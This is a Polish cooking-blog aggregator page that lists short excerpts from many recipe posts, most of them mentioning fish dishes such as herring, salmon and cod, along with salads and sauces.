W kuchni wieczorem
Śledzie ze śliwkami i orzechami 200

Wczoraj przygotowałam śledzie. Teraz przegryzają się w słoiczkach, w lodówce. To zdecydowanie jeden z moich ulubionych przysmaków. Jako dziecko byłam bardzo wybredna i za żadne skarby świata nie wzięłabym ryby do ust, a co dopiero takiego surowego, oślizgłego śledzia. Od dwóch lat robię kilka ich wersji. W zeszłym roku największym powodzeniem cieszyły się śledzie ze śliwkami i orzechami włoskimi

W kuchni wieczorem
Sałatka ryżowa z kiełbaskami piwnymi 329

zaledwie kilku najzwyklejszych składników. W każdym przypadku będzie pysznie i pożywnie. Sałatki mogę być z samych warzyw, owoców albo na bazie ryżu, makaronu czy ziemniaków z dodatkiem mięs lub ryb. Moja dzisiejsza propozycja jest prosta - za podstawę posłużył brązowy ryż a dodatki są takie jakie miałam pod ręką. Wyszło bardzo smacznie. Zobacz przepisy na inne dania, które sprawdzą się

Smaczna Pyza
Zrób to sam! Ghee - masło klarowane 119

nienaruszone szumowiny na dnie garnka.Gotowe ! UWAGA!   Przy wszystkich czynnościach ,filtrowniu i przelewaniu należy zachować ostrożność,ze względu na wysoką temperaturę płynnego masła. Gdy skosztujesz choć raz jajecznicy lub ryby usmażonej na ghee,zawsze bedziesz chciała je mieć w swoich zapasach. Tradycja klarownia masła nie ogranicza się tylko do Indii.Też w Pakistanie,południowej Azji,Egipcie,Etiopii krajach arabskich

Gotuj zdrowo!Guten Appetit!
Fotoreportaż z nadmorskich knajp cz.1 153

zamawia się przy barze i chwilę trzeba poczekać - pewnie fakt, że byliśmy bardzo głodni nam nie pomagał. Ceny w porządku - za dwa dania - 47 zł. Jeżeli chodzi o ryby, to wymiatają. 5/6 Morszczuk Sola na szpinaku Posiłek V "Pod Papugami" Nie, nie nie... dostałam 4 cienkie, spalone w głębokim tłuszczu kawałki soli, po panierce ani śladu. Jakie to było

Słodkie Przyjemności
Zakręcone ciasteczka 136

miałam problem, w sumie nadal go mam, mam chore rybki - szczerze, nigdy nie przypuszczałam, że będę się martwić tak tymi zwierzakami, a jednak. Możecie się śmiać, przecież to 'tylko' ryby, ale taka już jestem. Mimo, że mam w domu dwa psy, dwa koty i nimfę to uważam, że do tego zwierzyńca należą również rybki - mam dwa akwaria

Słodkie Przyjemności
Placuszki z ananasem bez cukru 201

Liczę na to, że będzie dobrze i że nic go nie boli. Ech! Przepraszam, znowu wywnętrzam się ze swoimi smutkami. Ale wiecie, jak kocham zwierzaki (płakałam nawet nad chorymi rybami, pamiętacie?). Niektórzy mogą powiedzieć, że przesadzam, ale takie przycinki, umykają mojej uwadze. Słuchajcie, jestem pewna, że jedliście kiedyś na śniadanie pyszne, słodkie placuszki z owocami. Ja wprost uwielbiam takie

Słodkie Przyjemności
Makaron tagliolini z sosem pietruszkowym 209

padł na sos z pietruszki, bo nigdy takiego nie robiłam :D Sos ten rewelacyjnie nadaje się nie tylko do makaronu - doskonale smakować będzie także w towarzystwie warzyw, mięs czy ryb. Lubię takie uniwersalne rozwiązania :) Składniki: - 500 g makaronu - 2 łyżki margaryny - 2 łyżki mąki - 0,5 l bulionu warzywnego - dwa pęczki natki pietruszki - ok. 1 łyżki śmietany - sól, pieprz

Kulinarne zapędy Kokosa
skórka pomarańczowa w cukrze... 185

każdego dnia zmieniać wodę 4 razy - pozbywamy się spryskanych chemikalii ze skórki z tak wymoczonych skórek szybko się usunie białe albedo, usuwamy ostrym nożem tak jak filetowanie np. ryby do rondelka wsypać cukier, sok z cytryny, wodę, pokrojone w kosteczki skórki pomarańczowe i gotować na średnim ogniu z 5 minut mieszając wsypać żelfix 3:1 i z 2 minuty

W Mojej Kuchni Lubię
Moja poranna rutyna i niezwykły olej kokosowy 181

były potępiane, oskarżane o wywoływanie otyłości i miażdżycy. Sami jednak popatrzcie na mieszkańców wysp Pacyfiku, którzy kokos i wszelkie jego przetwory jedzą niemal codziennie. Są szczupli i zdrowi jak ryby! Tak powszechne już u nas choroby cywilizacyjne jakoś się ich nie trzymają...  Może warto byłoby się nad tym zastanowić i w Nowym Roku zmienić nieco swoją dietę

Gotowanie to kochanie
Łosoś teriyaki 144

1godzine. Najlepiej gdy postoi tak przez noc. Na patelnię wykładamy łososia skórą do dołu I smażymy na średnim ogniu przez kilka minut. Wylewamy resztę sosu I ciągle polewamy nim rybę. Sos zgęstnieje. Wtedy dolewany sake. Łosoś powinien tak się smażyć ok 15minut. Pamiętajmy, żeby nie przeciągać smażenia zbyt długo bo łosoś będzie suchy. Smacznego

Kulinarna rozmowa
Marchewka to zdrowie! 180

obiad bez mięsa uważa za marnostrawstwo czasu, którego mama musiała przetrzymywać w kuchni, by zjadł choć łyżkę surówki, kompletnie się do niej przekonał! Marchewka ta świetnie komponuje się z rybami, jest sycącym dodatkiem do dań głównych. Robi się praktycznie sama, zanim zdążysz zorientować się, że jesteś w kuchni. Dla zapracowanych mam, zabieganych   kobiet, mężczyzn i wszystkich tych, którzy

Gotowanie to kochanie
Ah, mi casa ! Smak Wysp Kanaryjskich - gambas al ajillo 171

morza. W mojej wyobraźni Wyspy Kanaryjskie były krainą mlekiem i miodem płynącą, były wszystkim, o czym zawsze marzyłam. Zielone, ale też z rajską laguną. Bogate w owoce i świeże ryby oraz, moje ulubione ,krewetki. Jakież było moje zdziwienie, gdy po lądowaniu, owszem, było mi gorąco, ale tej zieleni ani widu, ani słychu! Wszystko było brązowe i bardzo, bardzo suche

Gotowanie to kochanie
FIT: pieczony kurczak z brokułem&kalafiorem&fetą i ryżem! 1285

kapusty z grzybami czy pierogów. Ale nie żałuję, bo taka "wyżerka" zdarza się raz w roku. Czas powrócić do normalności i dlatego tym wszystkim, którzy nie mogą patrzeć na ryby i inne cuda proponuję marynowanego w sosie sojowym kurczaka z brązowym ryżem i warzywami z fetą. Składniki: 2 x pierś z kurczaka 1 opakowanie mieszanki warzyw (brokuł + kalafior

Kitchens Alphabet
Przepisy na Sylwestra i Karnawał 344

Karnawał Dzisiaj na blogu zbiór wszystkich przepisów, które mogą się pojawić na sylwestrowym stole. Znajdziecie tutaj dania na ciepło i na zimno. Różne przystawki, ryby, przepisy na domowe wędliny. I na domowy własnoręcznie zrobiony chleb. Oczywiście nie zabraknie też słodkich przepisów, na ciasteczka, torty czy serniki. A ja życzę Wam, abyście

Kulinarne przygody Gatity
Fasola to samo zdrowie dla .... Brazylijczyka 109

pozostawiamy na ogniu ok 10 minut tak aby sos zgęstniał (tak jak obok na fotografii). Fasolę możemy jeść samą, możemy "po brazylijsku" czyli jako dodatek do mięs czy ryb

Smaki Brazylii
Sałatka z kaszy kuskus 234

Kuskus to kasza i jednocześnie nazwa potrawy. Można ją podawać na słodko, z ulubionymi owocami, ale również na słono – do ryb i mięs. Przygotowanie odbywa się w iście ekspresowym tempie. Zanim zdążycie pokroić składniki, kuskus będzie gotowa. Napęczniały kuskus trzykrotnie zwiększa swoją objętość. Weźcie to pod uwagę zabierając się do przyrządzania sałatki z kaszy kuskus. Składniki

mojewypiekiinietylko
Łosoś w cieście francuskim 135

wykwintne. Chrupiące i delikatne ciasto francuskie posypane migdałami, a wewnątrz – delikatny i bardzo soczysty łosoś, przełamany nutą mascarpone z bazylią. Ostrości potrawie nadaje sałatka, na której została podana ryba. Łosoś i ciasto francuskie stanowią idelanie zgraną, kulinarnie parę. Smacznego. Wydrukuj przepis The post Łosoś w cieście francuskim appeared first on Moje Wypieki I Nie Tylko

mojewypiekiinietylko
Wiosenna sałatka z wędzonej makreli 255

kolendry - kilka pomidorków koktajlowych - sól, pieprz - olej sezamowy   Z makreli zdejmujemy skórę, wybieramy ości i dzielimy na kawałki, odkładamy (makrela zostanie dodana na samym końcu, aby zachować strukturę ryby). Jajka kroimy w kostkę, dodajemy pokrojoną paprykę, 4 łyżki odsączonej kukurydzy, pokrojony w cienkie talarki por, drobno pokrojoną cebulę, posiekany szczypiorek. Solimy, oprószamy pieprzem, dodajemy paseczki skórki cytrynowej

mojewypiekiinietylko
Ciastka francuskie z truskawkami 188

ulubionych. Moim zdaniem, jego twórca zasługuje na kulinarnego Nobla. To ciasto daje ogromne możliwości do wykorzystania – na słodko, wytrwanie, na ciepło, na zimno, można w nim zapiekać mięso, ryby… i nie tylko. Wykorzystując gotowe, w krótkim czasie wyczarujemy pyszne ciastka francuskie z truskawkami.   Składniki na 8 sztuk: - 1 opakowanie ciasta francuskiego 375g - 1 jajko do posmarowania ciastek

mojewypiekiinietylko
Kotlety z ryżu miksowanego 172

ryżu miksowanego mogą stanowić samodzielny posiłek. Wystarczy dodatek sosu, np. pieczarkowego, pomidorowego lub… jakiegokolwiek. Niezastąpiona będzie oczywiście surówka – każda pasuje. Możemy je podać także do mięsa, czy ryby, z jajkiem sadzonym… Ich zaletą jest to, że możemy je zrobić na różne sposoby, zmieniając dodatki, przyprawy. Dając, np. pieczarki uzyskamy zupełnie nowy smak. Innym dodatkiem mogą być jajka

mojewypiekiinietylko
Tzatziki 175

Dodajemy czosnek przeciśnięty przez praskę, odciśnięty z soku ogórek i posiekany koperek – mieszamy. Podajemy schłodzony. Dla mnie sos tzatziki doskonale nadaje się do wszystkich mięs, warzyw, a nawet ryb i owoców morza. Nie ma reguły, że do czegoś nie pasuje. Podany do mini pizzy , też sprawdził się doskonale. Smacznego. Wydrukuj przepis The post Tzatziki appeared first on Moje

mojewypiekiinietylko
Brokuły pieczone z migdałami 345

Posypujemy płatkami migdałowymi. Piekarnik nagrzewamy do temperatury 200°C i pieczemy ok. 30 minut. W połowie pieczenia brokuły mieszamy. Brokuły pieczone z migdałami możemy podać jako dodatek do mięs, ryb i nie tylko. Na pewno wzbogacą każde, nawet najprostsze i najskromniejsze danie obiadowe. Nie każdemu odpowiada smak gotowanych brokułów, ale smak pieczonych z migdałami zaskakuje bardzo pozytywnie. Smacznego. Wydrukuj

mojewypiekiinietylko
Tahini 142

cytryny, przeciśnięty przez praskę czosnek, szczyptę kuminu. Wszystko dokładnie mieszamy i podajemy. Sos tahini, chlebek pita i falafel , to idealna kompozycja. Można go też podać do ryb, mięsa, przekąsek, marynat… i nie tylko. Warto wspomnieć o samych ziarnach sezamu. „Zaklęcie „Sezamie, otwórz się” otwiera w arabskiej baśni ukryte wejście do niezmierzonego bogactwa – złota i klejnotów. Prawdziwe ziarno

mojewypiekiinietylko
Ryby i owoce morza 181

Zupa rybna Dorada pieczona po hiszpańsku Spaghetti z krewetkami Tunezyjska sałatka z tuńczykiem Pity z grillowaną rybą Empanadas z tuńczykiem Sos z tuńczyka i anchois Dorada pieczona z oliwą i czosnkiem

Chilli Czosnek i Oliwa
Zagadka i Bliny z kaszy jaglanej z łososiem i śmietaną czyli Środowe Rybki odc.21 157

Kiedy zobaczyłam ten przepis u Doroty wiedziałam, że z niego skorzystam i to szybko! nie robiłam bowiem nigdy blinów a łosoś to ostatnio mój faworyt jeśli chodzi o ryby. No i te zdjęcia... powaliły mnie. I dzisiaj je zrobiłam, rano usmażyłam, obfotografowałam a po powrocie z wojaży po stolicy i przychodniach zjadłam z ogromnym apetytem. Było pysznie

Dzieje kuchennej Wiewióry
Tęczowy Pstrąg w słodko-kwaśnej marynacie czyli Środowe Rybki odc.30 171

jeden z najprostszych sposobów na przygotowanie pysznej ryby. Krótkie smażenie i trochę dłuższe marynowanie ale efekt powalający! zajadaliśmy się nią dzisiaj wszyscy, oprócz Małżona oczywiście. przepis pochodzi z książki "Dwaj łakomi Włosi". Teczowy Pstrag w słodko-kwaśnej marynacie 4 filety pstrąga po ok. 200 g każdy mąka pszenna, sól 80 ml oliwy z oliwek 1 duża cebula pokrojona

Dzieje kuchennej Wiewióry
Gulasz rybny jednogarnkowy czyli Środowe Rybki odc.31 165

dania obiadowe, naleśniki, upiekłam chleb a wszystko to między sprzątaniem, odprowadzaniem Córci w deszczu i wywiadówką. Udało mi się i z czystym sumieniem zasiądę do Top Chefa. Danie z ryb jakie dzisiaj przyrządziłam jest naprawdę pyszne choć pachnie z początku mało zachęcająco (zniewalające połączenie cebulowych i gotowanej ryby...). Przepis

Dzieje kuchennej Wiewióry
Lody bananowo orzechowe bez cukru, bez maszyny czyli poWeekendowe Lakocie odc. 55 159

mnie i zaczynam tęsknić do jesieni. Nie tylko nam upał nie służy, zakwas na chleb dziwnie pachnie i tworzy skorupę, banany nim je ktoś zje stają się czarne, kupno ryby bywa ryzykowne... Dzięki temu upałowi po raz pierwszy w życiu zamroziłam banany, pokroiłam i siup w woreczek. Dzięki tym bananom, zalegającemu w lodówce masłu orzechowemu oraz śmietanie

Dzieje kuchennej Wiewióry
Wesołych Świąt! 161

lepsi i życzliwsi. Milkną spory, chętnie spotykamy się w gronie najbliższych i delektujemy potrawami, na które niekiedy czekamy cały rok.  Każda z wigilijnych potraw ma symboliczne znaczenie. Zjedzenie ryby daje gwarancję zdrowia i dostatku, a w przypadku karpia to również zwiastun obfitości oraz siły. Potrawa z makiem ma nam zapewnić w nadchodzącym roku pomyślność i bogactwo

Smakowity Blog Kulinarny
Śledzie świąteczne w oleju 541

stole wigilijnym- u mnie w każdej postaci - w oleju , w śmietanie i w sałatce :) uwielbiam i nie wyobrażam sobie by mogło ich nie być. Śledzie mimo że należą do ryb tłustych mają mało kalorii, zawierają dużo potasu, usuwają nadmiar wody z organizmu, działają przeciwdepresyjnie, wzmacniają pamięć i koncentrację, a zawarte w nich kwasy Omega 3 przyspieszają przemianę materii

Smaki Edyty
Szaszłyki z włoską gremolatą 167

Gremolata jest to włoski sos. Oryginalnie podawana z giczą cielęcą. Dla polskiego podniebienia idealnie komponuję się z rybami i z innymi mięsami. W jej skład wchodzi czosnek, skórka z cytryny i natka pietruszki. Składniki gremolaty: 2 cytryny - jedynie skórka oliwa z oliwek 3 ząbki czosnku pęczek natki pietruszki sól morska Składniki na szaszłyki: 2 piersi z kurczaka 1 mała

Bon Appetit Małgorzaty
Paprykowe pesto z kaparami 100

oliwy dodać zalewę z suszonych pomidorów). Miksujemy wszystko w blenderze i gotowe!. Nadmiar oliwy można odsączyć.  Pesto jest świetne z makaronem, tostami albo jako baza do mięs i ryb. Rada: orzechy piniowe kosztują 200 zł za 1 kg. Zamiast tych orzechów możemy zastosować orzechy włoskie albo migdały. czerwone, paprykowe pesto

Bon Appetit Małgorzaty
Ciasto z sokiem marchwiowym i delicjami 177

zakrapianej imprezie na następny dzień lubicie zjeść coś słodkiego ? ja tak :-P Impreza Andrzejkowa była wyśmienita. Były tańce na stole, uginający się stół od swojskiego bigosu, domowych wędzonych ryb, oraz wódka z miskami haribo :) Ale najlepszą andrzejkową aurę stworzyło doborowe towarzystwo moich przyjaciół :) ...no ale wracając do tematu... w niedzielę musi być ciacho. W takim razie prezentuję takie

Bon Appetit Małgorzaty
Surówka z kiszonej kapusty 166

Jeden z najlepszych dodatk ów do kotleta mielonego, schabowego czy ryby. Klasyka gatunku po mojemu :) Zapraszam też do wypróbowania niebanalnej suró wki z kiszonej kapusty na bogato. Przepis tutaj . Składniki: 0,5 kg kiszonej kapusty - najlepsza jest z beczki 1 duża marchewka 1 jabłko trochę kminku 1 mała cebulka 2-4 łyżki oleju cukier, sól i pieprz do smaku

Kuchnia domowa Ani
Surówka z kalarepy II 181

drugą wersję surówki z kalarepy, na którą przepis znalazłam u Aveliny . Jest pyszna i chrupiąca, do tego ekspresowo się ją robi i bardzo nam smakowała jako dodatek do ryby. Inną wersję surówki z kalarepy z marchewką można znaleźć tutaj: klik . Składniki: 1 duża kalarepa 2 łyżki siekanego koperku 1 łyżka majonezu 1 łyżka jogurtu naturalnego sól, pieprz Sposób przygotowania

Kuchnia domowa Ani
Śledzie z pieczarkami i papryką konserwową 187

pieczarki i dusimy do miękkości. Na koniec dodajemy przecier pomidorowy i doprawiamy pieprzem i papryką mieloną. 3. Odstawiamy do wystudzenia. 4. Paprykę konserwową kroimy na mniejsze kawałki. 5. Mieszamy rybę, paprykę oraz pieczarki z cebulą. Ewentualnie doprawiamy do smaku. 6. Całość odstawiamy do lodówki na noc lub 24 godziny do przegryzienia się smaków. Smacznego!!! Źródło: Bon Appetit Małgorzaty

Kuchnia domowa Ani
Łosoś z piekarnika 197

Kolejny przepis na błyskawiczny obiad. Ryba jest gotowa po 15 minutach, wystarczy w tym czasie ugotować np ryż i pyszne danie możemy podawać. Dobrym dodatkiem będą guacamole np z  tego  przepisu. Inspiracją był przepis z  tej  strony składniki 500 g filet z łososia, przekroić na 2 kawałki 1 łyżka oliwy z oliwek 1 łyżeczka mielonego kminu

Stare Gary
12 potraw wigilijnych 235

inaczej odwróci się od nas szczęście :) Dzisiaj chciałybyśmy przedstawić króciutkie zestawienie propozycji takich 12 potraw: Czerwony barszcz z uszkami lub Zupa rybna Karp tradycyjny Karp w czerwonym winie Ryba po grecku Pierogi ruskie Sałatka śledziowa z jajkiem Śledź pod pierzynką Ryba w galarecie A że nie tylko wytrawnymi potrawami człowiek żyje, to na osłodzę proponujemy: 9. Makowiec 10 .Babeczki renifery

Kolizje Smaków
Lepienie pierogów uspokaja. Inne pierogi świąteczne. 160

zniechęceniem. Przyznajcie się, ilu z was chciało walnąć tymi wszystkimi karpiami i makowcami i udać się na bezludną wyspę? Pewnie większość. Problem pojawia się przy stole. Małżonek nie spożywa ryb, dziecko wykrzywia się na dźwięk słowa kompot, a teściowa rzuca tekstem o tym, że ona lub jej matka robiły inaczej, znaczy lepiej. A ty? Jesteś zmęczona sprzątaniem, gotowaniem, użeraniem

ladykitchen
Krewetki z makaronem paccheri - paccheri con i gamberoni 191

SKŁADNIKI 400 g makaronu typu paccheri 300 g dużych krewetek pół szklanki białego wytrawnego wina 400 g przecieru pomidorowego 3 łyżki oliwy z oliwek sól ząbek

zielonacukinka
Śledzie z karmelizowaną cebulą 209

Karmelizowaną cebulę można podać miedzy innymi do śledzi. Jej słodko-kwaśny, korzenny smak idealnie komponuje się z rybą. W tej wersji użyłam suszonych czereśni, bo brakło mi żurawiny. Cebula dzięki tym owocom jest nieco kwaśniejsza. Polecam na Wigilię i Boże Narodzenie. Składniki: kilka marynowanych płatów śledzia w oleju lub przygotowanych z tego przepisu Karmelizowana cebula: 2 duże czerwone cebule

Czerwień i błękit
Grillowane filety z okonia z cytrusową glazurą 116

Wyjątkowe filety rybne, które możemy podać nawet na wigilijną kolację. składniki: 2 filety z okonia mogą być też z dorsza, każdy około 2-3 cm do

naRuszcie
sałatka z cukinii 326

Efektowna i smaczna sałatka  ze strony  Jamie Oliver'a Dobry dodatek do  mozzarelli, sera koziego, wędlin, grillowanych ryb i mięs Składniki: 4 osoby 4 niewielkie cukinie sól morska świeżo zmielony czarny pieprz 1 czerwone chilli  ząbek czosnku 1 garść świeżej mięty oliwa z oliwek extra virgin sok w yciśnięty z  1 cytryny opcjonalnie młody

Stare Gary
Sos majonezowy z ziołami 153

Zimny sos o wszechstronnym zastosowaniu: dobry do mięs, ryb , warzyw, kanapek  i sałat. Zainspirował mnie przepis z  tej  strony  składniki  1/2 szklanki majonezu , najlepiej  domowego duża porcja posiekanych ziół (pietruszka, szczypiorek, koperek, estragon) 2 niewielkie ogórki konserwowe , lub 6  malutkich korniszonów 1 filet anchois posiekany (opcjonalnie) łyżka kaparów sól pieprz ew nieco

Stare Gary
Pasta z makreli z papryką 156

pęczek koperku Sól, pieprz przygotowanie Obraną ze skóry i pozbawiona ości makrelę włożyć do miski, podzielić widelcem na małe kawałki. Wymieszać z majonezem. Cebulę i koperek posiekać, dodać do ryby. Wymieszać z pastą paprykową i pomidorową oraz płatkami chili. Doprawić solą i pieprzem do smaku. Smacznego

Stare Gary
Pasta z wędzonego pstrąga 189

Targi Żywności Ekologicznej i Regionalnej  NATURA FOOD  2014. I właśnie na tych targach kupiłam znakomicie, mocno uwędzonego pstrąga. Przyjechał gdzieś z okolic Kotliny Kłodzkiej. Był rewelacyjny! Wędzoną rybą pachniało w całym domu. Kolejny, kupiony już na Jarmarku Staropolskim, nie był może aż tak pięknie uwędzony, ale też też okazał się smaczny. Tak więc późno

Stare Gary
Pasta z makreli i serka 163

pieprz Przygotowanie Obraną ze skóry i pozbawiona ości makrelę włożyć do miski, podzielić widelcem na małe kawałki. Wymieszać z serkiem  i majonezem. Szalotki i szczypior posiekać, dodać do ryby. Doprawić solą i pieprzem do smaku. Smacznego

Stare Gary
Tradycyjne śledzie w śmietanie 275

Choć bardzo lubię ryby, jakoś śledzie nigdy mi zbytnio nie smakowały. Może przez to, że śledzik zawsze kojarzył mi się z zakąską do mocniejszych trunków serwowanych w PRL-owskich knajpach. Takie głupie wyobrażenie, którego do tej pory nie potrafię się pozbyć ;) W Wigilię zawsze na “obiad” były śledzie - coś w ciągu dnia trzeba przecież zjeść, zanim

W kuchni Katie
Krem batataowy ze szpinakiem, dzikim krwawnikiem i pigwą w towarzystwie młodej gęsi owsianej 238

walory smakowe, zastępując trochę oklepane pomarańcze, gruszki, żurawiny czy borówki, serwowane w mało atrakcyjnej formie, często przygotowywane z dużą ilością niezdrowego cukru. Nuty pigwy i cytryny dobrze zagrają z rybami i owocami morza, a forma podania ożywi i urozmaić niejeden świąteczny stół. Krem skropiony jedynie sokiem z cytryny lub domowym octem jabłkowym to zdrowy wariant wszelkich galaretek

SzczyptaSmaQ
Salicornia E.-Europäischer Queller po prostu soliród 103

wprowadza odrobine egzotyki.Botanicznie nalezy do roslin komosoawytych lub szarlatowatych.Jest slonolubnym sukulentem wystepujacym posrod roslinnosci namorzynowej.Nie jest zatem glonem,choc z wygladu mogloby sie tak wydawac.Wsklepie lezy w dziale z rybami i owocami morza. Jest bardzo smaczna .Ma lekko slonawy,pieprzowy smak.Zawiera mnostwo mikroelementow,sod,potas,wapn,fosfor,siarke,zelazo,cynk,mangan,miedz i oczywiscie jod,sporo jodu.Nazywana  jest

Gotuj zdrowo!Guten Appetit!
Pasta z makreli wędzonej z suszonymi pomidorkami 189

Dzis na kolacje bardzo prosta i bardzo smaczna pasta z wedzonej makreli.Poniewaz z mezem jestesmy "rybozercami" ,wszelkiej masci ryby czesto goszcza na naszym stole.Moj przepis jest naprawde blyskawiczny i kilkuskladnikowy.Pierwowzor z dawnych czasow zawieral majonez.Dzis zastapila go musztarda.I wystarczy,makrela ani tak jest bardzo tlusta ryba.Do pasty dodalam jedynie ulubione i wlasnorecznie przygotowane suszone pomidorki koktajlowe.Pyszne,slodziutkie.Przepis na suszone

Gotuj zdrowo!Guten Appetit!
Pok- choi duszona na maśle z koperkiem 147

krotko i dosyc intensywnie,doslownie kilka minut. Dodajemy koperek ,szczyte soli.Jarzynka gotowa.I jak tu nie pokochac tej kapustki. Podawac do ryzu lub makaronu.Swietnie komponuje sie i z miesem i rybami. Zycze smacznego

Gotuj zdrowo!Guten Appetit!
Dorsz gotowany w mleku z ziołami na puree z dyni i ziemniaków 151

Dorsz gotowany w mleku to sposob na to,by wspaniale delikatne mieso stalo sie wrecz aksamitne.Jest to zarazem swietny sosob na pozbycie sie zapachu ryby,ktory wielu z nas zniecheca do cieszenia sie jej smakiem.To bardzo prosty i szybki sposob na przygotowanie pysznego,dietetycznego dania. Delikatny szalwiowo-mietowy aksamitny smak dorsza swietnie uzupelnia  dyniowe puree z curry. Skladnik

Gotuj zdrowo!Guten Appetit!
łosoś w czerwonym sosie kokosowym z jagodami goji 156

Niezwykle proste,szybkie ,zdrowe i bardzo smaczne danie z udzialem lososia.Jesli lubicie tajskie klimaty to danie jest dla Was idealne.To kuchnia pelna ryb i owocow morza.Podstawa sosu zamiast tradycyjnej smietany kremowki jest tu mleko kokosowe-zdrowe,tluste,a nie podnoszace poziomu cholesterolu.Ryba w tym wydaniu smakuje wysmienicie.Smak czerwonej pasty curry z mlekiem kokosowym to cudowna harmonia smakow.W orginale aromatu

Gotuj zdrowo!Guten Appetit!
Rozmaryn-przyprawa,ktora chroni oczy 145

balsamow lagodzacych podraznienia skory i opozniajacych jej starzenie. Rozmaryn jest niezwykle aromatycznym zielem o gorzko-korzennym smaku.Stanowi jeden z podstawowych skladnikow mieszanki ziol prowansalskich. Doskonale nadaje sie do przyprawiania ryb i miesa,Dobrze komponuje sie z baranina,dziczyzna,jagniecina,wieprzowina i cielecina.Mozna nim przyprawiac takze salatki,makaron,pizze i ziemniaki.Nadaje niezwykly aromat likierom,winom i wodkom

Gotuj zdrowo!Guten Appetit!
Sos musztardowy-fitness 140

przepis na lekki ,bo bez zasmazki i tlustej smietany sos musztardowy.Jest swietnym dodatkiem do pieczonych mies,ryb i jajek.No i oczywiscie do sztuki miesa,tutaj jest wrecz niezastapiony.Niezwykle prosty i niezawodny przepis. Skladniki do 3-4 porcji miesa: 250 ml bulionu warzywnego 2 lyzki srednio-ostrej musztardy 1 plaska lyzeczka cukru 1 bardzo plaska lyzka maki-krupczatki najlepiej

Gotuj zdrowo!Guten Appetit!
Dorsz w kokosowej panierce a`la Tarzan 142

krokiety,musy kotlety najchetniej i najczesciej jednak jemy dorsza panierowanego w bulce tartej.Bulka tarta tez stwarza wiele mozliwosci i kombinacji smakowych.Jesli przeszkadza nam tranowy posmak i zapach morskiej ryby wystarczy bulke tarte wymieszac pol na pol z wiorkami kokosowymi.Kuchnia w trakcie smazenia wypelni sie egzotycznym zapachem kokosa,a tak przygotowanego dorsza zje nawet najwiekszy niejadek.Na zimno bedzie zas swietnym

Gotuj zdrowo!Guten Appetit!
Marchewkowe spaghetti z roszponka 192

wlasnie zawitala do nas pierwsza zimowa salata) wyglada zachecajaco? Pewnie,ze tak. Zapraszam zatem do przepisu.Tak przygotowana marchewka nie tylko super wyglada,ale i wysmienicie smakuje.To zdrowy dodatek do ryb,miesa,moze stanowic takze odrebne danie.Do przygotowania marchewkowego spaghetti uzylam Spiralschneider.Mozna jednak zwyklym obierakiem do warzyw pociac marchewke na wstazki,a potem w paseczki . Skladniki na 2 porcje

Gotuj zdrowo!Guten Appetit!
Por duszony w mleku kokosowym 171

moich ulubionych zimowych warzyw.Nie tylko smaczny,zdrowy (jak zdrowy przeczytaj: tutaj ) to bez specjalnego nakladu pracy mozesz przygotowac z niego pyszny i szybki dodatek do drugiego dania.Swietny do mies, ryb ,jak rowniez do wszystkich kaszowo-kotlecikowych dan wegeterianskich.Tym razem naprawde light,bo w towarzystwie mleka kokosowego.Jesli drazni Cie intensywny smak i aromat pora (siarka !) musisz wiedziec ,ze po obrobce

Gotuj zdrowo!Guten Appetit!
Dorsz w mleku kokosowym i czarny makaron 172

dorsza w sosie z mleka kokosowego,a wczesniej zamarynowalam go w imbirze z kolendra.Tak przygotowany dorsz jest pelen smaku i delikatnego, egzotycznego aromatu.Wazna informacja dla wszystkich,ktorzy jednak za rybami nie przepadaja.Dorsz w tym wydaniu calkowicie jest pozbawiony rybiego,tranowego posmaku.Zapraszam do przepisu. Skladniki: 2 porcje dorsza 1 zabek czosnku 2-cm kawalek imbiru 1 lyzeczka nasion kolendry oliwa

Gotuj zdrowo!Guten Appetit!
Grüne-Sauce-Kräuter-Zielony sos frankfurcki 163

witalnych wkroczyli w wiosenne klimaty. Tradycyjnie ziola sa recznie pakowane w bialy papier ,a ich zawartosc to przynajmniej 250 g . Podawany jest do zimnych mies,wedlin,ziemniakow,szparagow i ryb. Nie ma tu jednego,konkretnego przepisu.Wszelkie wariacje sa dozwolone ,a proporcje zaleza od tego jak intensywny smak chcemy uzyskac.Powinien jednak byc gesty.Dodatki stanowia: jogurt,kwasna smietana,majonez,ocet,musztarda

Gotuj zdrowo!Guten Appetit!
Dorsz pod tymiankowym beszamelem zapiekany z burakiem liściowym 199

dorsz to ciekawa konkurencja i urozmaicenie dla panierowanego w bulce tartej fileta z ryby.Zaloze sie,ze tak przygotowana rybe zje ze smakiem kazdy,nawet ten nie przepadajacy specjalnie za rybami. Skladniki na 4 porcje: 4 odfiletowane kawalki dorsza a ca.150 g 500 -700 g buraka lisciowego (lub szpinaku)-2 peczki 1 cebula 1 zabek czosnku 2 lyzki masla ghee

Gotuj zdrowo!Guten Appetit!
Perfekcyjne puree ziemnmiaczane - III warianty 248

Ziemniaczna bulwa kryje w sobie ogromny potencjał.Nie jest wcale tak banalna jak się nam wydaje.Nic nie smakuje do mięsa czy ryby lepiej niż poczciwe kartofle,żeby nie wiem jak pomysłowo połączyć kaszę z warzywami czy przyprawić ryż.Najchętniej jako dodatek do drugiego dania jemy tłuczone ziemniaki.Ciepłe,aromatyczne i obłednie kremowe puree potrafi wprawić w zachwyt nasze kubki

Gotuj zdrowo!Guten Appetit!
Śledzie "po kaszubsku"- pyszne 174

jednak pamiętać,że śledź dostarcza nam sporego zastrzyku kwasów omega-3,a te zadbają o nasze zdrowie i urodę,dlatego warto jeść je nie tylko od święta.Spośród innych ryb poczciwy śledzik,jeśli chodzi o zawartość kwasów omega-3 jest tu prawdziwym rekordzistą.Śledzie po kaszubsku są tak rewelacyjne,że jako pierwsze znikną spośród innych potraw.Jedząc je łatwo

Gotuj zdrowo!Guten Appetit!
Warzywa korzeniowe z piekarnika 236

potrzebnej do ochrony przed zimnem.Najwiekszy atut tak przygotowanych warzyw to prostota i praktycznie żadnego wysiłku,bo robia się same.Są świetnym dodatkiem do każdego obiadu,smakują wyjatkowo dobrze z rybami lub delikatną piersią z kurczaka.Przygotowałam je równocześnie z łososiem,na dolnej szynie piekarnika piekłam warzywa ( przepis tutaj ) na środkową szynę pod koniec pieczenia dołączył łosoś. Składniki

Gotuj zdrowo!Guten Appetit!
Pekinka z nutą jabłka 164

oczkach. Wszystkie składniki wrzucić do miski, dodać kiełki oraz przyprawy i wymieszać surówkę. Zostawić ją na kilka minut do przegryzienia się smaków. Podawać do obiadu lub do mięs czy ryb z grilla

Ewa w kuchni
Kotleciki z kalafiora 2255

